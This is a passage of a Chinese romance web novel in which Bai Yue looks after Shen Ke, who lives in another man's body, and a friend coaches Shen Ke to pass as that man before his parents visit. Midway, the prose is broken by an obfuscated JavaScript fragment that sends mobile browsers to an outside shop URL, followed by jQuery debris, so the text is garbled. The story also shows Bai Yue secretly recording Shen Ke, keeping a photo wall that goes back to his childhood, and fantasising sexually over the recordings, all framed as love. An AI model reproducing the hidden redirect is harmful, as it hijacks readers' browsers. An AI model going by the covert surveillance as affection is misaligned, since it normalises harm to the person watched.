他眨了眨眼,又眨了眨眼。和沈恪相处久了,连他都沾染了些对方的习惯。 “这身子这么结实,被打一下也不会有特别痛的。”沈恪的眼泪掉进碗里,啪嗒,啪嗒,“结果你就自顾自地冲上去了,乱逞什么英雄啊……你都根本没有考虑过我是什么感受。” 白越忽然有点词穷。 沈恪像是再也忍不住了,一把抱住他,手臂环过他的脖颈,脸埋在他肩上哭得上气不接下气:“你甚至还要和解!为什么要和解啊!” 他的声音闷在衣服里,断断续续的。 “我早想说了……别人欺负你,你不要受着啊!你这么有钱,这么厉害,还长得好看,凭什么受别人欺负啊!” 沈恪抬起头,泪眼模糊地看着他:“你知道我有多担心你吗!” 白越愣住了。 脑子里有一瞬间被这句话震空了。空得像被人抽走了所有念头,只剩下眼前这张脸。 那张被泪水洗过的脸。 担心我? 这个词他听过很多次。从温清然嘴里,从那些为了钱贴上来的人嘴里。那些担心从头到尾都是假的,他听得出来,从来不当回事。 可是沈恪说的这个…… 他低头看了看盘子里的残羹,又抬头看了看沈恪那张哭得乱七八糟的脸,脑子忽然想到什么,露出个歉意的笑:“我也没想太多,下意识就这么做了。我不希望你受伤,宝宝。” 这话是真的。 虽然是从沈恪那里偷来的。当时祈愿问他为什么要替自己挡枪,沈恪便是这么回的,他在监听设备里听得一清二楚。 他应该会喜欢这样的回答的。 白越想。 可沈恪反而哭得更凶了:“谁要你挡了啊!你笨吗!” 白越看着他哭,试探性伸出手,轻轻拍着沈恪的后背:“别哭了。” 沈恪没理他,哭得更大声了。 白越继续拍,动作很轻,像在哄一只炸毛的小猫。 他其实不知道自己在干什么。 他从没哄过任何人。以前有人哭的时候,他要么走开,要么等着对方自己停。但现在他蹲在沈恪面前,拍着他的后背,看他哭得上气不接下气,心里却没有什么不耐烦。只是有点奇怪。 不知道自己为什么在这里,不知道为什么在拍他的后背,不知道为什么他说不出话。 只知道心跳得有点快。 起初还是噗通,噗通。有节奏的,规律得受他控制。 可是下一秒—— 噗通、噗通、噗通、噗通。 乱了,毫无预兆地乱了。 心里又酸又软,像是心脏那块肉被沈恪的指责冲得化开。手指有点麻,呼吸有点烫,胸口闷闷的,却不难受。 他下意识抬起左手,捂住了心脏的位置。 奇怪。 跳得好快。 30. 暧昧之上 沈恪醒过来的时候,盯着天花板看了好一会儿。 不是他熟悉的那个天花板,温清然家的装修风格奢靡时尚,根本没有这么严肃简洁。 他猛地坐起来,被子滑下去,露出身上皱巴巴的没换的衣服。 这是白越家的客房。 他来过几次,认得这个房间。床头的台灯,窗边的绿植,墙上那幅看不懂的抽象画,所有的一切都很眼熟。 可是他怎么会在白越家的客房? 昨晚的记忆像开了闸的水一样涌进来。 商场走廊。白越袖口的血。廖辰的钢管。他冲上去护着白越。白越抱着他躲开。白越一脚踹飞廖辰。白越倒在他身上。 然后……然后他就一直哭。 抱着白越哭。趴在他肩上哭。哭得上气不接下气。一边哭一边说“你怎么这么笨”“谁让你挡的”“你知道我有多担心你吗”,好像还说了“不要受别人欺负”“你这么好凭什么”之类的话。 越说越哭,越哭越说,说到最后嗓子都哑了。 然后……然后他就哭累了,睡着了。 沈恪:“……” 他把被子拉起来,盖住脸。 所以睡着以后是白越带他上的楼?他就直接睡在白越家了? 那他昨晚那个哭成傻子的样子白越不是全看见了吗! 沈恪在被子里闷了三秒,在被窝里闻到白越身上那股熟悉的洗衣液气味后,又把被子拉下来,盯着天花板,脸烫得能煎蛋。 他低头看了看自己,穿的还是昨天那身衣服,皱得不成样子,领口还有一点可疑的水渍。 那是他的眼泪还是鼻涕?还是都是? 沈恪又把被子盖上了。 好崩溃。 *** 楼下传来一点响动。 沈恪竖起耳朵,听着锅碗碰撞的声音,很轻,很克制,像是有人在故意压低声音。 白越已经起了? 他愣了一会儿,然后猛地弹起来。 白越的手!还裹着纱布! 沈恪掀开被子就往楼下冲,拖鞋都只穿了一只。 跑到楼梯口的时候,他刹住了。 厨房里,白越正站在灶台前。右手上还缠着那圈白花花的纱布,左手拿着锅铲,动作笨拙地翻动锅里的煎蛋。他穿着居家的白色毛衣,袖口挽起来,露出一截手腕。晨光从窗户照进来,落在他侧脸上,把那层皮肤照得白皙透明。 沈恪站在原地,忽然不知道该不该下去。 白越好像听见了什么,转过头来。 四目相对时,那双狐狸眼睛弯了一下。 “醒了?今年是周六,宝宝可以多睡一会。” 沈恪张了张嘴,想说点什么,但脑子里一片空白。他只看见白越的目光从他脸上慢慢滑下去,落在他只穿了一只拖鞋的脚上,又滑到他皱巴巴的衣领上,脸上的笑意更深了一点。 沈恪的脸腾地红了。 他低头看了看自己的脚,又看了看昨晚没换的衣服,还摸了把乱成鸡窝的头发。 整一个社死现场。 他转身就往门口跑。 “哎?”白越的声音从身后传来,“去哪儿?” “回、回去换衣服!”沈恪头也不回,“我马上回来!” “不用。”白越制住了他。 沈恪的脚顿住了。他回过头,看见白越靠在厨房门口,笑眯眯地看着他。 “客房衣柜里有衣服。”白越说,“去换吧。” 沈恪愣了一下,然后连忙摆手:“不、不用了!真的不用!我回去换就行,很快的!” 他越说越急,脸越来越红。 客房衣柜里的衣服?那不是白越穿过的? 那怎么行! 白越看着他这副手足无措的样子,心里那点恶趣味更大了些。 “宝宝。”他开口,声音轻轻的,“那些是新的。” 沈恪愣住了。 “按宝宝尺寸准备的衣服,”白越弯了弯眼睛,“还没人穿过。” 沈恪站在原地,热气嗡一下从心脏处传导到了头顶。 按他的尺寸准备的? 什么时候? 为什么要准备? 他想问,但话到嘴边又咽了回去。白越就那么看着他,眼中含笑,像是在等他的反应。 沈恪的耳朵红透了。 他低下头,小声嘟囔了一句什么,然后转身就往楼上跑。 身后传来白越的笑声。 *** 等沈恪换好衣服、洗漱完、把头发扒拉得能见人之后,他才磨磨蹭蹭地下楼。 餐桌上已经摆好了早饭。两碗粥,一碟小菜,两个煎蛋,其中一个煎得完美,另一个有点焦。完美那个在他这边,焦的那个在白越那边。 沈恪看着那个焦蛋,又看了看白越裹着纱布的右手,心里一紧。 “你的手……”他小声问,“疼吗?” “还好。”白越笑了笑,左手拿起勺子,“就是不太方便。” 他舀了一勺粥,动作有点笨拙,勺子差点滑回碗里。 沈恪看着,心揪了一下:“你……你要是不方便的话,我可以……” “可以什么?”白越看着他。 沈恪被他看得耳朵尖发烫:“……可以帮你拿东西什么的。” 白越眨了眨眼,笑了:“好。” 然后他就真的开始让沈恪帮忙了。 “宝宝,帮我拿一下酱油。” “宝宝,帮我倒杯水。” “宝宝,这个盖子我拧不开。” 沈恪跑前跑后,像个陀螺,但他一点都没觉得烦,反而有点开心。 他终于能为白越做点什么了。 白越就坐在那里,看着他跑来跑去,嘴角弯着。等沈恪第三次从他身边经过的时候,他忽然伸出左手,轻轻拉住了对方的手腕。 沈恪愣住了。 白越没有看他,只是低着头,拇指在他腕骨上轻轻蹭了一下。 “跑这么快,”他的声音很轻,“累不累?” 沈恪能感觉到那只手的温度,凉凉的,骨节分明的,轻轻环着他的手腕。那触感太清晰了,像是有人用羽毛在他心上扫了一下。 “不、不累……”他的声音发飘。 白越嗯了一声,却没有松手。 他抬起头,安安静静地看着沈恪。目光从他眼睛慢慢滑到鼻尖,滑到嘴唇,又滑回眼睛。 沈恪被他看得心跳加速,下意识想抽回手。 白越松开了,他收回手,低下头继续喝粥,像是什么都没发生过。 沈恪站在原地,愣了好几秒。 他摸了摸自己的手腕。 不对啊。 明明白越的手是凉的,可为什么自己的胸口会那么烫? *** 吃完早饭,白越靠在椅背上,看了看他,又看了看厨房。 “午饭还没想好吃什么。”他说,语气有点苦恼,“本来想先做好的,但是手……” 他抬起右手,那圈纱布在沈恪眼前晃了晃。 沈恪连忙说:“我来做!” “你?”白越看着他,眼睛里有一点笑意,“上次那个炒饭……” 想到那份堪称一坨的料理,沈恪不免有些窘迫:“我、我可以学的!你教我!” 白越看着他,看了几秒,那双眼睛慢慢弯起来:“好,你跟我来。” 厨房里,白越站在灶台前,左手拿着锅铲,右手垂在身侧。 沈恪站在他旁边,等着指令。 “先把油倒进去。”白越说。 沈恪乖乖倒油。 “等油热。” 沈恪乖乖等着。 “现在把鸡蛋打进去。” 沈恪拿起鸡蛋,在碗边磕了一下。结果用力过猛,蛋壳碎了一地,蛋液顺着手指往下流。 “呀!”他手忙脚乱地想去拿纸巾,结果踩到地上的积水,身子一晃。 一只手从旁边伸过来,稳稳地扶住了他的腰。 白越就站在他旁边,一只手扶着他的腰,低下头,看着他。 很近,比平时近。近到沈恪能看清他眼睛里自己的倒影,能感受到他呼吸落在自己脸上的温度。 “小心。”白越在他的鼻尖上点了一下。 他的声音很轻,带着一点调侃的笑意。 沈恪的脑袋轰的一下。 他张了张嘴想说点什么,但一个字都憋不出来。 “怎么那么笨啊,宝宝。”白越松开手转身去拿纸巾,语气轻飘飘的。 *** 新的鸡蛋打进去,这次成功了。 沈恪站在灶台前,拿着锅铲,小心翼翼地看着锅里的蛋。 白越站在他旁边,看着他的手,在腕骨上轻轻敲了一下:“手腕放松。” 沈恪试着放松。 “不是这样。”白越说,“你这样会累。” 他往前走了一步。 沈恪还没反应过来,就感觉到一个人贴上了自己的后背。温热的,带着白越身上那种淡淡的白茶清香。 白越的左手从他身侧伸过来,握住了他拿着锅铲的手。 “这样。”他的声音就在耳边,低低的,震得沈恪耳膜发痒,“手腕要放松一点。” 沈恪僵住了。 他能感觉到白越的胸膛贴着他的后背,能感觉到白越的呼吸落在他的耳侧,能感觉到那只握着他的手的力道。 “你……”他的声音发抖,“你别……” “别什么?”白越的声音里带着困惑,像是真的不明白,“我在教你。” 沈恪说不出话。 白越握着他的手,带着他翻动锅里的鸡蛋。动作很慢,很稳,像是在做一件很普通的事。 但他的呼吸就在沈恪耳边,一下一下,轻轻的。 沈恪彻底熟了。 从白越的角度看过去,正好能看见那只红透的耳朵,还有那从耳根蔓延到脸颊的红晕。沈恪低着头,睫毛垂着,微微颤抖,像受惊的小动物。 真可爱。 白越在心里想。 “好、好了吧……”沈恪小声说,“我自己可以……” 白越没有松手。 “还没好。”他说,“蛋要翻面。” 他又带着沈恪翻了一下。 沈恪感觉自己快要烧起来了。 “白越……你别这样……” “哪样?” 白越的声音带着一点笑意。他没有退开,反而把下巴轻轻抵在沈恪肩上,看着锅里的蛋。 “这样?”他问。 沈恪的脸一瞬间爆红无比,热度惊人。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265399|198096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他想推开他,但手被握着。他想躲开,但后面是白越。他只能僵在原地,感受着那具身体的温度,感受着那个人的呼吸,感受着那种让他心跳加速的陌生压迫感。 “你、你以前不是这样的……”他小声说。 “以前?”白越的声音听起来有点困惑,“以前是哪样?” “你以前会尊重我的意见。”沈恪小声嘟囔。 白越愣了一下然后笑了。笑得很轻,就在沈恪耳边,震得他头皮发麻。 “我现在不尊重你吗?”他问。 沈恪张了张嘴,说不出话。 以前的白越是永远笑着的,说话轻声细语,做事温柔体贴,什么都顺着他的意思。他会做饭,会照顾人。自己说不要,白越就不会继续。说害羞,白越就会退开,给他留够充足空间。从来不会像现在这样强势。 这样的……让人招架不住。 那时候的白越很好,好得让他总觉得不真实。 好得让他总是忍不住想:这是对“阿然”的好,不是对他沈恪的好。白越喜欢的是改邪归正的温清然,不是他这个冒牌货。 他不知道自己为什么会有这样的想法。明明白越对他那么好,好得挑不出任何毛病,可有时候看着白越那双含笑的眼睛,总觉着里面藏了些什么,他看不透彻。 可是现在…… 现在这个白越不太一样。 还是会叫宝宝,还是会笑,还是会关心他,但那种客客气气的感觉不见了。他开始会往前凑,会贴着他,会用那种让人心跳加速的眼神看他。 有点像…… 沈恪想了半天,想出一个不太恰当的比喻。 有点像,终于不把他当客人了。 “宝宝。”白越忽然叫他。 “嗯?” “你耳朵好红。” 沈恪:“!!!” 他想躲,但白越已经先一步退开了。 那个人站在一步之外,笑眯眯地看着他,像是对他的内心想法全部了如指掌。 “继续吧。”白越微微点头,“我会看着你做的。” 沈恪瞪着他,脸烫得厉害。 白越就站在那里,嘴角弯着,像是什么都没发生过。 沈恪咬了咬下唇,转回头,继续翻锅里的蛋。 但他能感觉到,那道目光一直落在他身上。 不重,不轻,就是一直在。 真有意思。 白越靠在厨房门框上,看着沈恪手忙脚乱的背影,心里那点痒意慢慢变成了另一种东西。 原来是这样。 以前他总是一步一算,怕吓着他,怕他躲开,怕他收回那些好不容易得来的依赖。每一步都算好了距离,每一句话都掂量过分量,总是顺着他的意愿。 但现在…… 他发现自己不想算了。 温水煮青蛙太慢了。慢到他看着沈恪那张越来越红的脸,忽然觉得之前那些日子都是在浪费时间。 他想看他脸红。想看他不知所措。想看他又羞又恼又不知道怎么办的样子。想看他明明心跳快得要炸开,却还是乖乖站在原地,任他为所欲为。 *** 一顿饭做完,沈恪感觉自己像被人丢进汗蒸房里过滤了一遍,整个人烫的不行。 白越倒是很享受,坐在餐桌旁,左手拿着筷子,慢条斯理地吃。 “好吃。”他点着头夸赞。 沈恪低着头,耳朵还红着。 白越看了他一眼,忽然开口:“宝宝。” “嗯?” “你是不是觉得我变了?” 沈恪抬起头。 白越正看着他,那双眼睛里没有什么笑意,只是安安静静地看着他。 “我……”沈恪张了张嘴,“就是觉得,你好像比以前……” 他说不出来。 白越替他接上了:“比以前烦人?” “不是!”沈恪连忙否认,“不是烦人!就是、就是……” “就是比以前更、更……” “更什么?” 他憋了半天,一张脸憋得通红,终于憋出一句:“比以前更直接了。然后……我就有点不知道怎么面对了。” 白越看着沈恪那张红透的脸,真实的柔软笑意从眼底漫上来:“那就好。” 沈恪抬起头看着他,但白越已经低下头继续吃饭了。 他今天把额发撩上去了,露出整张脸。没了平日那些遮遮掩掩的发丝,没了那种阴郁的雾蒙蒙的感觉,五官一下子清晰起来。 眉眼还是那个眉眼,但不知道为什么,看着就是不一样了。没了温柔疏离的感觉,就是直直地在那儿,像是什么都不打算藏了。 沈恪抿了抿唇,心脏砰砰砰砰的跳个不停,有点吵。 侵略性。 这个词忽然冒进沈恪脑子里。 他吓了一跳,不知道自己怎么会想到这个。 白越明明还是在笑,还是在吃饭,什么都没做。但就是……不一样了。 沈恪飞快地低下头,假装在看碗里的饭,可是余光还是控制不住地白越那里瞟。 他想起刚才厨房里的一幕,那个人贴在他身后,握着他的手,呼吸落在他耳边,又浅又急。 那种感觉他不知道该怎么说。 但好像……也不是很讨厌。 31. 水漫金山 日子又回到了熟悉的节奏。 白天上课,沈恪坐在白越旁边,偶尔偷偷看一眼他的侧脸。没课的时候,被祈愿他们拉出去吃饭,或者在白越家的客厅里窝着看书。晚上白越送他回家,说晚安,看着他的背影消失在门口。 很普通的日子。普通到沈恪有时候会恍惚,觉得自己真的就是一个普通的大学生。普通到他会忘记,这具身体不是他的。普通到他会忘记,那个叫他“阿然”的人,叫的不是他。 毕竟除了白越,所有人都那么叫他。 “温清然”这三个字,从祈愿嘴里喊出来,从安阳嘴里喊出来,从老师点名的时候喊出来。时间久了,他有时候都会愣一下,才反应过来是在叫自己。 像是在演一场很长的戏。只是演着演着,快忘记自己是谁了。 *** 十二月的第一场雪落下来那天,祈愿把他单独拉到了教学楼后面的小花园。 雪花细细的,落在头发上很快就化了。祈愿的表情有点奇怪,像是有什么话要说,又不知道怎么说。 “哎……”他难得有点吞吞吐吐,“跟你说个事。” 沈恪眨了眨眼:“什么事?” “温清然的父母,”祈愿顿了顿,“三天后要来看他。” 沈恪愣了一下,脑子嗡的一声炸开了。 “三、三天后?!”他声音都变了调,“这么突然?!” 祈愿看着他那张瞬间煞白的脸,有点同情地拍了拍他的肩:“温老爷子的生日在一月一,这俩老狐狸回来估计就是为了这个事。” “那为什么我不知道,但是你知道啊?” 祈愿的表情变得有些微妙。“……这个你就别管了,我有我的消息渠道。”他别过脸,语气有点含糊,“之前觉得跟你说了没必要,就没怎么提过。现在看来,还是跟你说说比较好。” 他叹了口气,开始讲。 “温大少他家吧……挺复杂的。” 沈恪认真听着。 “原配夫人因为身体问题,一直没孩子。周姨,就是温大少他妈,以前是原配的闺蜜。后来不知道怎么的……”祈愿顿了顿,在一系列烂俗的狗血剧情里选了个相对委婉的说法,“带着太子上了位,就是温大少。” 沈恪愣愣地点了点头。 祈愿继续说:“然后吧,他有八个兄弟姐妹。” 沈恪张大了嘴。八……八个?!比温清然的腹肌数量都多! “全、全都是……”他的舌头有点打结。 “全都是私生子。”祈愿点头,“八个。” 沈恪的三观碎了一地。 他沉默了好一会儿,才憋出一句:“一、一般这样的大佬,不都是很忙很忙的吗,怎么能……” “你想说什么?”祈愿斜睨着他,嘴角带着点不怀好意的笑。 沈恪张了张嘴,没能把话说出来。 祈愿没再逗他,恢复了正经:“行了,不闹你了。总之,周姨对温大少说不上差,但也绝对不算好。之前管得挺严,但发现他烂泥扶不上墙后就直接放养了,一年就只有几天来看他。甚至前不久还有传言说,要捣鼓个二胎出来。” 沈恪皱起眉头,有些不解:“为什么?周……阿姨,是他的妈妈吧?” 祈愿看着他,似笑非笑。“你要知道,”他的语气比平时慢了一些,“并不是所有的父母都会喜欢自己的孩子。尤其是这个孩子,在充满算计的前提下诞生。他接收到的爱和教育,都是带着目的性的。” 雪还在下。细细的,落在祈愿的头发上,落在他微微垂着的睫毛上。 沈恪看着他那张难得正经的脸,忽然觉得有点陌生。 他好像第一次见到这样的祈愿。 “总之,”祈愿收回那点难得的正经,又恢复了平时那副吊儿郎当的样子,“你只要知道,他的父母都是老狐狸,非常不好糊弄就好。大概率是能看得出来你不是本人的。” 沈恪慌了:“那怎么办?!” 祈愿笑眯眯地,环顾了一圈周围,确认没有其他人,尤其是白越不在,然后指了指自己:“找我帮忙。” 沈恪一脸茫然:“啊?” 祈愿在他脑门上轻轻弹了一下:“笨。来我问你,谁最了解温清然?” “白……” “白个锤子白,他俩认识才多久。”祈愿打断他,又指了指自己,“我和他认识十几年了,肯定是我啊。” 沈恪眨了眨眼。 “找我帮忙,我能把你培养到不说一定认不出来你不是他,但至少能让那俩老狐狸拿不到什么实质性证据,不好确认你是不是本人的程度。” 沈恪听得一愣一愣的:“所以是……我要演戏吗?” “你也可以直接跟他俩坦白,”祈愿笑得有点坏,“看会不会给你送到四院去治治脑子。” “还是不要了……”沈恪低下头,声音闷闷的,“麻烦你了,祈愿。” 祈愿没说话,只是伸手在他头上揉了一把。雪落在他的金发上,细细碎碎的,像是撒了一层糖霜。 祈愿的心跳漏了半拍。他若无其事地把手收回来,插|进口袋里。 “行了,走吧。特教楼还有课。” *** 下课后,沈恪没有像往常一样等白越收拾好东西一起走。 他走到白越的座位旁,攥着书包带子,有点紧张地开口:“那个……白越。这两天我有事情,放学没办法跟你一起走了。上课可能也不能跟你一起坐了……” 他原以为白越会问为什么,或者露出那种有点委屈的表情。因为以前的白越就是这样的。 但白越没有。他伸出手,揉了揉沈恪的头发。 “好。”白越笑得温柔,“那宝宝要记得早点回家,不要太晚。我会担心的。” 沈恪愣了一下,用力点了点头:“嗯!我会的!” 他转身往门口走,祈愿正靠在门框上等着他。沈恪走过去,笑得眉眼弯弯:“白越那里我已经说过啦!我们可以开始排练了!” 祈愿没接话。他的目光越过沈恪的肩膀,落在教室里那个还坐在座位上的人身上。 白越没有看他,但祈愿知道,他知道自己在看他。 那种感觉很差。像是被什么冰冷的东西贴着后背,明明隔着半个教室的距离,却觉得那道目光无处不在。 祈愿啧了一声。他伸手拿过沈恪肩上的书包,往自己肩上一挎。 “走了。”他说,“别在这儿傻站着。” 沈恪哦了一声,乖乖跟上。 *** 温清然的别墅里。 祈愿瘫在沙发上,翘着二郎腿,看着对面坐得端端正正的沈恪,忍不住笑了:“你坐那么乖干嘛?” 沈恪眨了眨眼:“不应该这样坐吗?” “温大少没你坐得那么乖。”祈愿换了个姿势,大咧咧地岔开腿,整个人往后一靠,后背陷进沙发里,两只手搭在扶手上,“喏,他一般都这样式儿的。” 沈恪看着他那副大爷似的坐相,有点不好意思地试着学。腿岔开,往后靠,手搭着。 “……这样好奇怪。”他小声说。 嘿,难怪被叫乖乖仔。祈愿看着他坐得别别扭扭的样子,嘴角忍不住弯了弯。 “那这样,”他又换了个姿势,“你整个人往后瘫,手敞开,翘着二郎腿,表情不屑一点。” 沈恪照做了,然后眉头皱起来:“这个坐姿好不健康……” 祈愿没忍住,笑出了声。 笑完之后,他忽然意识到自己盯着沈恪看了太久。 这不对劲。 祈愿移开视线。 “行了,”他站起身,“这个姿势练着。明天学别的。” *** 第二天,换了个地方。学校后面的小树林,没什么人,很安静。 祈愿靠在树干上,看着面前一脸紧张的沈恪。 “来,”他勾了勾手指,“说两句‘我去你|妈|的’。” 沈恪的眼睛瞪圆了:“这个也要学吗?!” 祈愿点头:“你学人总得学口癖吧?” 沈恪张了张嘴,又闭上。到底是什么样的人才会对父母说出这种话啊。 他犹犹豫豫地开口,声音小得像蚊子哼:“我、我去你|妈|的……” 这呆子居然真的会这么叫。 祈愿差点没绷住。 明明就是只兔子,非要学狼嚎。 太乖了。有点好玩。 祈愿盯着他那张红透的脸,忽然觉得心情很好,比打游戏赢了还爽的那种好。 他压下嘴角那点不受控制的笑意,努力绷着一张脸:“太软了。” 沈恪深吸一口气,声音大了点:“我去你|妈|的!” “还是软。你骂人像撒娇。” 沈恪的脸红了。 “再骂。” “我去你妈!”他用力喊出来,喊完自己先愣住了。 祈愿笑了,眼睛弯弯的:“对,就这个劲儿。多骂两句。” 沈恪看着他,总觉得祈愿笑得有点奇怪。但他没多想,只是继续骂,骂到嗓子都哑了,骂到祈愿说有个七八分像了。 祈愿就靠在树干上,听着他骂,嘴角一直弯着。 明明就是温清然那张脸,他看了十几年早就看腻了,腻到有时候会想要一拳揍上去。 可现在是沈恪在用这张脸。皱着眉,抿着嘴,努力装凶,结果凶出来还是软趴趴的。没什么杀伤力,还要学着呲牙。 祈愿的嘴角忍不住又往上弯了弯。 傻死了。 如果沈恪不是“温清然”就好了。如果不是顶着这张脸,他就可以…… 可以什么? 祈愿把那个念头掐断。他垂下眼,看着地上薄薄的雪。 没用的。他只是一个“朋友”,一个帮忙的朋友。仅此而已。 祈愿抬起头,看着沈恪还在努力骂人的样子。那张脸冻得有点红,睫毛上沾了一点雪,嘴唇因为不停说话而变得水润。 真烦。 祈愿移开视线。 等这件事结束,他得离沈恪远一点。远一点,就不会想那些不该想的了。 “祈愿?”沈恪的声音忽然响起,“你怎么又在发呆?” 祈愿回过神,对上那双亮晶晶的眼睛。“……没事。你继续。” *** 回到家,沈恪把自己扔在床上,盯着天花板发呆。 VX的提示音响起,是祈愿发来的消息。 【Yuan】明天继续。学学温大少怎么翻白眼。 沈恪盯着那行字,想象了下自己对着祈愿翻白眼的画面,忍不住笑出声来。他回复了一个“好”,然后翻了个身,把脸埋进枕头里。 窗外,雪还在下。细细的,轻轻的,落在这座城市的每一个角落。落在路灯上,落在别墅区的树梢上,落在一个人的肩膀上。 那个人站在路灯下,看着那扇刚刚亮起的窗户。看了一会儿,他弯了弯嘴角,转身走进雪里。 手机震了一下,他拿出来看了一眼。 【宝宝】晚安呀白越! 他盯着那行字,看了很久。然后他回复: 【白越】晚安,宝宝。要梦到我。 发完,他把手机收起来,继续往前走。雪落在他肩上,很快就化了。 但他不在意。他在意的是楼上那扇窗户的灯,刚刚灭了。 他的小鹌鹑,睡了。 *** 卧室的门关着。灯没开,窗帘拉得很紧,整个房间密不透光。 白越靠在椅背上闭着眼睛,耳机戴了很久。里面循环的,是沈恪一整天的动静,全被他剪在了一起反复地听。 早上醒来时迷迷糊糊的哼唧。上课时小声嘟囔“这个好难”。中午吃饭被烫到后的抽气。 下午学骂人的片段。 “我去你|妈|的……” 乖的,努力的,软软的凶。 真可爱。 白越睁开眼。 房间里很暗,只有电脑屏幕的光,落在一张张照片上。 沈恪。沈恪。沈恪。 全是沈恪。 墙上钉着的,桌上铺着的,都是他的小鹌鹑。 十二三岁的沈恪,瘦瘦小小的一只。十四五岁的沈恪,病弱又苍白。十七八岁的沈恪,眼睛里已经有了愁绪。 还有最近的,变成温清然之后的沈恪。捧着相思豆脸红红地站在花店门口的沈恪,坐在沙发上看书时缩成一团的沈恪,睡着时毫无防备唇瓣微张的沈恪。 白越的目光从一张慢慢移到另一张。手指跟过去,落在照片上。 凉的。 但他好像能透过那层薄薄的相纸,触到那个人温热的皮肤,连带着指尖都有些发麻。 耳机里,沈恪还在喊。 随着一句又一句的循环,想象里的画面浮了上来。 照片里那个苍白瘦弱的沈恪,穿着松松垮垮的病号服站在他面前,气鼓鼓地看着他:“我去你|妈|的,白越!” 那双湿漉漉的眼睛瞪着他,眼尾泛红。嘴唇抿着,因为生气而轻轻颤抖,像一只被惹毛了却不知道怎么凶人的小动物。 白越的呼吸霎时间变得重了。 他发现自己有了反应。硬的,实的,压不住。 那个声音从耳朵流进脑子,从脑子流遍全身,流过喉咙,流过胸口,流过小腹,流到那个已经胀得发疼的地方。 真奇怪。 他想。 光是听声音,就能到这种程度。他甚至没看见人,没碰到人,没闻到他身上的味道。只是听着那个人努力学着凶人的样子,就已经这样了。 但他没有动,还在延续着自己的想象。 “你一直在监视我?”脑海中,那个不存在的沈恪往前走了一步,声音发抖。 白越没有说话。他只是看着沈恪,想着他真好看,连生气时都这么好看。 “你说话啊!”沈恪又往前走了一步,声音抖得更厉害了,“你为什么要这样?我、我那么相信你……” 白越垂下眼。他该说什么?解释?道 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白越看着他这副样子,弯了弯嘴角。他低下头,在沈恪唇上碰了一下。 很轻很轻,一触即分。 然后…… 可以了,打住,只是想象而已。 白越睁开眼,呼出一口长气,把胸腔里那些黏腻阴暗的东西随着呼吸全丢了出去。 房间还是那个房间。暗的,静的,只有电脑屏幕的光。 幻想像潮水一样退去,但那个画面还黏在视网膜上。沈恪站在他面前,一副可怜兮兮的表情,好像随便欺负一下眼睛里就会渗出水来。 他低下头。呼吸还没完全平复,有点重,有点烫。 身体里有什么东西在落雪。不,也许不是落雪,是雪崩。 从心脏的位置开始,一层一层往下塌,漫过肋骨,漫过小腹,漫到那片他以为早已冰封的荒原。 他曾经以为自己是一片永冻的雪原,连风都绕道走,以为这辈子都不会有融化的那一刻。 但此刻,雪崩了。 那些积压了太久的连自己都骗过去的东西,从意识深处轰然塌下来。带着沈恪的声音,沈恪的样子,沈恪红着眼眶瞪他的画面,像千万吨积雪倾泻,把他整个人埋了进去。 他低头看了一眼。 十二月的夜里,雪原上忽然隆起一座小小的山丘。不对,那本来就是雪原的一部分,只是此刻它隆起了,像有什么东西在雪层之下苏醒、膨胀、撑开冰面。 雪地被什么温热的东西触碰,洇开了,融化出一小块湿润的印记。暗色的,湿漉漉的,在月光下微微反光。 是什么时候开始的?他不记得了。 也许是在想象里那个沈恪朝他扑过来的时候,也许是在想象里自己把他拽进臂弯的时候,也许更早,在耳机里循环到那句软软糯糯的声音的时候,在那句撒娇一样的动静从耳朵钻进血管的时候,地底的雪层就已经开始松动了。 他不知道。他只知道那片曾是冻土的地方,如今雪崩正在发生。 那种感觉不尖锐,不锋利,是钝钝的,沉甸甸的,像积雪压在松枝上,越积越厚,越积越重,直到枝桠终于承受不住,弯下腰来,把满身的雪全部倾泻。 有什么东西在身体里膨胀,雪层之下被埋了住的一整个春天此刻终于撑开冰面,撑开血管,撑开肌肉,撑开每一寸沉睡的神经末梢,然后告诉他:你看,你从来都不是永冻的雪原。 你只是没等到能让你融化的那个太阳。 他看着那处被雪掩埋的起伏,看了几秒。 然后伸出手。隔着薄薄的雪层,指尖探过去,轻轻碰了一下那底下的涌动。 有点烫,像被雪咬了一口。 那种烫从冻土之下窜上来,像火星掉进雪地,嗤的一声,窜到尾椎骨,窜到后腰,窜到心脏。 他吸了口气。手指没有收回来。就那样按着,感受着蓬勃奔涌的节奏,一下,一下,噗通,噗通。 他想起刚才那个画面。沈恪被他拉进怀里的时候,一双眼睛瞪着他,红红的像兔子,委屈愤怒到身体发抖。眼眶里有什么在打转,亮晶晶的,摇摇欲坠。 如果那是真的呢? 白越闭上眼。那个画面又浮上来。 他一只手就能圈住沈恪的腰,那具身体那么瘦,那么轻,他一只手就能完全掌控。他会把人按在墙上,沈恪推他,推不动,只能瞪着他,用那种软软的声音骂他…… 骂他什么? 白越睁开眼。 窗外的雪不知什么时候停了,月光透进来一点,落在电脑屏幕的边缘。 呼吸更重了。 他知道自己可以继续。可以任由这场雪崩继续下去,可以放纵这个夜晚,让那些画面在脑海里一遍一遍地放,让漫天的雪铺天盖地的没有尽头。 但他没有。他只是松开手,靠在椅背上,闭上眼,忽然笑了一声,带着点自嘲。 狼狈,太狼狈了,像个毛头小子。 从小在那栋房子里长大,见惯了那些东西。父亲带回来的女人,一个接一个地换来换去。母亲房间里的药瓶,医生进进出出的脚步声,还有那些他听不懂的隔着门传出来的声音,以及那个把血脉传承看得比什么都重的糟老头子。 他以为自己早就冻住了。以为自己的心是永冻层,千尺之下,寸草不生。 后来和温清然在一起也只是演戏。假装喜欢,假装在意,假装那些若即若离的暧昧会让人心跳加速。但其实什么都没有,他们甚至连手都没牵过。 他以为自己就是这样的人了。一座孤零零的雪山,不近人间烟火,天生寒冷。 结果呢? 白越又看了一眼那处已经被体温捂热的起伏。 结果现在光是听着沈恪的声音,光是听着沈恪骂人,就雪崩了。 明明什么都没做,什么都还没得到,但身体已经比脑子先知道了。 他靠在椅背上,闭上眼。 真是不像话。 